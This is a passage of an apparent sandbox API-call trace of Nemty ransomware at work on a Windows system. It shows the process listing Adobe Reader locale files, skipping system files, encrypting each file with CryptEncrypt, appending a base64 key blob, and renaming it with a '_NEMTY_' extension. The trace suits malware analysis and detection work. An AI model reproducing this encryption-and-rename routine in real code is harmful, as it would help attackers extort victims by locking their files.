Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.EUQ", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.EUQ", lpUsedDefaultChar=0x0) returned 19 [0176.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0176.011] Sleep (dwMilliseconds=0x5) [0176.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8efed0, dwHighDateTime=0x1d561e8)) [0176.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c8efed0, dwHighDateTime=0x1d561e8)) [0176.013] GetLastError () returned 0x0 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.013] GetLastError () returned 0x0 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.013] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.013] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.013] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0176.013] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="HQ+Nr2mpjNt6t3czuUgZM/PI9FhqaSfXa4heLq7mYrUZB3lToENw8Aj8I1jDkQgC\r\nak8QykpjADAdNcT17fj/aJD3QcQ0audM8S22YhkaXnR/iGs9IuAeeHuT+gpJdEhd\r\nFCBvh9C80xXfp0Orf7ocBbCMPr7l5RRRIuNjybvBVcU4ykSdFYV3Wt9mut6rqXV1\r\nY68EW2xRZ9dp3e2PD4QfX0gGoEUDrB7aIfDrv+amW2mWi+PKt960ArsMEC1Wdwzk\r\n97AuoBprwtoca2ZSaqEsW+clxTgNm6/1zPSben/PcBAQa63WiK/ptWqP5slOKaza\r\nd874rkYOqfVrp6lKL+C+Mw==\r\n", pcchString=0x653e5dc) returned 1 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0176.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\adobecollabsync.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.014] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0176.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0176.014] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.014] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0176.015] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.015] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0176.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.016] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0176.016] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.016] CloseHandle (hObject=0x2e8) returned 1 [0176.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0176.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0176.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0176.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0176.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.016] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\adobecollabsync.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\adobecollabsync.euq._nemty_kgobjgd_")) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.017] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.EUQ", cAlternateFileName="")) returned 1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2=".") returned 1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="..") returned 1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="...") returned 1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="windows") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="rsa") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="ntldr") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="IO.SYS") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="boot.ini") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="boot.ini") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="AUTOEXEC.BAT") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="ntuser.dat") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="desktop.ini") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="CONFIG.SYS") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="RECYCLER") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="BOOTSECT.BAK") returned -1 [0176.017] lstrcmpiW (lpString1="Annots.EUQ", lpString2="bootmgr") returned -1 [0176.018] lstrcmpiW (lpString1="Annots.EUQ", lpString2="programdata") returned -1 [0176.018] lstrcmpiW (lpString1="Annots.EUQ", lpString2="appdata") returned -1 [0176.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.018] Sleep (dwMilliseconds=0x5) [0176.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c916030, dwHighDateTime=0x1d561e8)) [0176.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c916030, dwHighDateTime=0x1d561e8)) [0176.028] GetLastError () returned 0x0 [0176.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.028] GetLastError () returned 0x0 [0176.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.028] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.028] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.029] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.029] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="+DJlYUL+V2c4CXX4GOL6OKO2AzKCl8u46FfaY1GCfx62Yi0liet4yshj/WJEOyxU\r\nZHSG8C/68BzX7A7m8CNmg5AUO8/f3Ztl4Po+WE1AUho9qzm0zq7Ck9RxS6+l/dPO\r\nGH167+/Mm8MfaNORb7XeNQYPVKxwTPIKnZfllukrEuUmYrZ5cWzc0PEiTfndIMZd\r\nf0N0vHYxlshHy2z1k8oFHzzbICsLCmLOwZ6uUsVcPztt6HpPF3jg2ile7Qb+HGCN\r\nS3KeiZCLSf8so+vLbJfGlCcQXnRTzcHrklMqtBKkVmbt+XIiWfnNjAPRY1kl/t33\r\nngon3x0HkP6SE7Jsv9PCaQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.029] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\annots.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.030] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=495616) returned 1 [0176.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.030] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.030] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.039] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.039] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.039] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=495616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79000 [0176.039] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.040] CloseHandle (hObject=0x2e8) returned 1 [0176.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.040] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\annots.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\annots.euq._nemty_kgobjgd_")) returned 1 [0176.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.042] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.EUQ", cAlternateFileName="BRDLAN~1.EUQ")) returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2=".") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="..") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="...") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="windows") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="rsa") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="ntldr") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="IO.SYS") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="boot.ini") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="boot.ini") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="ntuser.dat") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="desktop.ini") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="CONFIG.SYS") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="RECYCLER") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="bootmgr") returned 1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="programdata") returned -1 [0176.042] lstrcmpiW (lpString1="BRdlang32.EUQ", lpString2="appdata") returned 1 [0176.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.EUQ", lpUsedDefaultChar=0x0) returned 13 [0176.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.EUQ", lpUsedDefaultChar=0x0) 